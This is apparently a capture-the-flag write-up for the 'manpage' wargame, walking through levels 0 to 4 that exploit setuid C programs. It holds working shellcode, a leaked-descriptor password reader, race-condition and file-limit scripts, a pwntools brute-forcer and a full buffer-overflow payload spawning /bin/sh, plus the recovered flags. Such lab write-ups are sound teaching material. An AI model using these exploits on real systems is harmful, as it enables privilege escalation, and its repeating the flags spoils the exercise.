Description:
This game is about breaking some common linux c-programming misconceptions. A good tactic when beginning to audit code for the first time is to read the manpages for pitfalls and unusual behavior. Many of these levels were inspired by the famous work of Ilja.

# Level 0

  1 2 3 4 5 6 7 8 9 10 11  #include #include #include #include int main(int argc, char *argv[]){ char buf[256]; setuid( getuid() ); strcpy(buf, argv[1]); return 0; } 

We can get the shell with ease when we put our shellcode in the buf when executing strcpy and return to that address. However, the setuid( getuid() ); have taken away our privilege, we need to take it back.

 1 2 3 4 5 6 7 8 9  section .text global _start _start: xor ebx, ebx xor eax, eax mov al, 0x17 mov bx, 0x4269 int 0x80 

The above assembly code can take our privilege back. It will execute syscall 23, which is setuid with argument 0x4269, which is 17001, because the id of manpage1 is 17001.

After nasm -f elf setuid.asm, ld -m elf_i386 -s -o setuid setuid.o, and objdump -M intel -d setuid, we can get the shellcode "\x31\xdb\x31\xc0\xb0\x17\x66\xbb\x69\x42\xcd\x80"

# Level 1 -> Level 2

  1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43  #include #include #include #include #include #include #include #define PWFILE "/etc/manpage_pass/manpage3" int main(int argc, char *argv[]) { FILE *f; char *p; char pass[32]; char buf[2]; f = fopen(PWFILE, "r"); fgets(pass, sizeof pass, f); pass[strlen(pass)-1] = '\0'; p = getpass("password: "); if(!strcmp(p, pass)) { system("sh"); exit(0); } setuid(getuid()); /* dont need privs anymore */ if(!argv[1]) { argv[1] = buf; buf[0] = '\0'; } if( argv[1][0]++ >= 2) exit(0); argv[1][1] = '\0'; execl(argv[0], argv[0], argv[1], 0); /* restart */ return 0; } 

If the comparison fails, we cannot get the shell, we will lose our privilege, and the program will restart.

However, there is a bug in this program. That is, it did not close the file. What we can do is to make execl execute our own program, and we can use that program to read the opened file.

Below is the C program we are going to use to get our password. We use 3 for our file descripter (0 for stdin, 1 for stdout, 2 for stderr).

  1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22  #include #include #include #include #include #include int main(){ char pass[32]; if(lseek(3, 0, SEEK_SET) == -1){ printf("lseek error\n"); return -1; } if(read(3, pass, sizeof(pass)) == -1){ printf("read error\n"); return -1; } pass[strlen(pass)-1] = '\0'; printf("Got the password %s\n", pass); } 

Then, we need a C program as wrapper to make argv[0] to our own C program mentioned above, pwn.

  1 2 3 4 5 6 7 8 9 10 11 12 13 14 15  #include #include #include int main(){ char* argv[]={ "./pwn", NULL }; char* envp[]={ NULL }; execve("/manpage/manpage2", argv, envp); } 

And finally, we can get our password ailaifeipu.

# Level 2 -> Level 3

We got manpage3 and manpage3-reset. Here are the source code.

manpage3

  1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28  #include #include #include #include #include #include #define PASS_PATH "/manpage/manpage3_password" int main() { int rfd = open(PASS_PATH, O_RDONLY); char buf[256]; char buf2[256]; memset(buf, '\0', sizeof buf); memset(buf2, '\0', sizeof buf2); read(rfd, buf2, sizeof buf); fgets(buf, sizeof buf, stdin); if(!strcmp(buf,buf2)) { printf("Wow, you should play the lottery!\n"); setuid(geteuid()); system("/bin/sh"); } return 0; } 

manpage3-reset

  1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21  /* reset-password */ #include #include #include #include #include #define PASS_PATH "/manpage/manpage3_password" int main() { FILE *wf; FILE *rf; wf = fopen(PASS_PATH,"w"); rf = fopen("/dev/urandom","r"); char buf[256]; fread (buf, 1, sizeof buf, rf); fwrite(buf, 1, sizeof buf, wf); return 0; } 

There is a file called /manpage/manpage3_password. If we got its value, we can get the shell. However, it is very hard since it has 256 bytes random value.

In this challenge, we have two solutions with similar concepts.

First, we can treat it as a race condition.

 1 2 3 4  while [ 1 ] do /manpage/manpage3-reset done 

For fwrite, it needs to delete its content first and write the content to the file. If we execute /manpage3 luckily while keep executing manpage3-reset, we can get /manpage/manpage3_password contains an empty string.

We use ctrl-d as input for empty string, and we can get the shell after 2 to 4 tries.

Second, we can push to the limit of fopen. We can use ulimit -n to check how many files can the process open. If we are getting to the limit, /dev/urandom cannot be opened, and it will write empty string to manpage3_password. That is, we can get the same result as solution 1.

What we can do is to use this script

  1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21  #include #include #include #include int main(){ FILE *f; for(int i = 0; i < 1020; ++i){ f = fopen("/manpage/manpage3", "r"); } char* argv[]={ "/manpage/manpage3-reset", NULL }; char* envp[]={ NULL }; execve("/manpage/manpage3-reset", argv, envp); } 

Although ulimit -n gives me 1024, I use 1020 at the end because we need to give some quotas for loading shared libraries.

Finally, we can get the flag iaceigicie.

# Level 3 -> Level 4

This is a game called Hunt the Wumpus, we have the instructions here.

  1 2 3 4 5 6 7 8 9 10 11 12 13  WELCOME TO 'HUNT THE WUMPUS' THE WUMPUS LIVES IN A CAVE OF 20 ROOMS. EACH ROOM HAS 3 TUNNELS LEADING TO OTHER ROOMS. (LOOK AT A DODECAHEDRON TO SEE HOW THIS WORKS-IF YOU DON'T KNOW WHAT A DODECAHEDRON IS, ASK SOMEONE) HAZARDS: BOTTOMLESS PITS - TWO ROOMS HAVE BOTTOMLESS PITS IN THEM IF YOU GO THERE, YOU FALL INTO THE PIT (& LOSE!) SUPER BATS - TWO OTHER ROOMS HAVE SUPER BATS. IF YOU GO THERE, A BAT GRABS YOU AND TAKES YOU TO SOME OTHER ROOM AT RANDOM. (WHICH MAY BE TROUBLESOME) TYPE AN E THEN RETURN 

We also got a file manpage4.diff

  1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41  31a32 > #include 36a38,41 > #define BUFSIZ 2048 > #define LOGFILE "/dev/null" > > FILE *logfile; 39d43 < static char inp[BUFSIZ]; /* common input buffer */ 98a103,119 > void log_winner() > { > char buf[256]; > char firstname[256], lastname[256]; > int t = time(NULL); > logfile = fopen(LOGFILE,"a"); > printf("firstname and lastname?\n"); > if( !fgets(buf, sizeof buf, stdin) ) > exit(1); > > sscanf(buf, "%100s %100s", firstname, lastname); > sprintf(buf, "%s firstname:%s lastname: %s\n", ctime(&t), firstname, lastname); > > fputs(buf, logfile); > fclose(logfile); > } > 101a123 > char inp[BUFSIZ]; 113a136 > char inp[BUFSIZ]; 125,126d147 < char ebuf[BUFSIZ]; < 626c647 < } --- > } 628a650,651 > if( finished == WIN ) > log_winner(); 

Here’s the pseudocode when we decompile the program.

We can see that it adds function log_winner and move away static array from manpage4.diff. It can be a hint.

At last, I found that even though there are some length restrictions in fgets and sscanf in log_winner, if we can have our lastname long enough, we can overflow EIP in sprintf.

In function getnum, we can pass upto 2048 bytes to inp, it is from the address 0xffffce8c to 0xffffd688. And when we execute log_winner, lastname is at 0xffffd3a4, so the previous content in inp can be reserved and treat as the content of lastname.

In fgets of log_winner, we pass CCCC. Later in sscanf, firstname will be set to CCCC, and lastname will not be modified.

First, we need to find a seed which can let us win the game when we shoot 1 shot to room 1, we use this script and find seed = 22.

  1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22  from pwn import * import sys for seed in range(0, 1000): p = process(["/manpage/manpage4", "-s", str(seed)]) p.recv() p.sendline('N') p.recv() p.sendline('S') p.recv() p.sendline('1') p.recv() p.sendline('1') data = p.recv() print(data) if "firstname and lastname?" in data: print("Success") print("The seed is %d" % seed) sys.exit() else: print("Wrong with seed %d" % seed) p.close() 

We put the shellcode on the environment variable export SC=$(python -c 'print("\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62 \x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40 \xcd\x80")'). And its address is 0xffffdf04. After getting the seed number, we can get the shell by (python -c 'print("N\nS\n1\n"+"1"+"A"*1303+"A"*209+"\x04\xdf\xff\xff\n" +"CCCC\n")'; cat) | /manpage/manpage4 -s 22. N for not show the instruction, S for shoot, first 1 for 1 room, the other 1 for room number 1, but we add lots of paddings after our room number. We need 1303 bytes for 0xffffd3a4 - 0xffffce8c = 1304. 1303 plus the previous “1” is 1304. In spintf of log_winner, the string %s firstname:%s lastname: %s\n will be put to buf, which is at $ebp - 0x100, ctime is 25 bytes, space for 1 byte, “firstname:” for 10 bytes, “CCCC” for 4 bytes, " lastname: " for 11 bytes, that is 51 bytes, plus 209 bytes paddings in %s from lastname, there are 260 bytes, and it cover the return address perfectly, the next 4 bytes “\x04\xdf\xff\xff” can cover up EIP.

And we can get the shell and the flag vahshaihug.

Not done yet.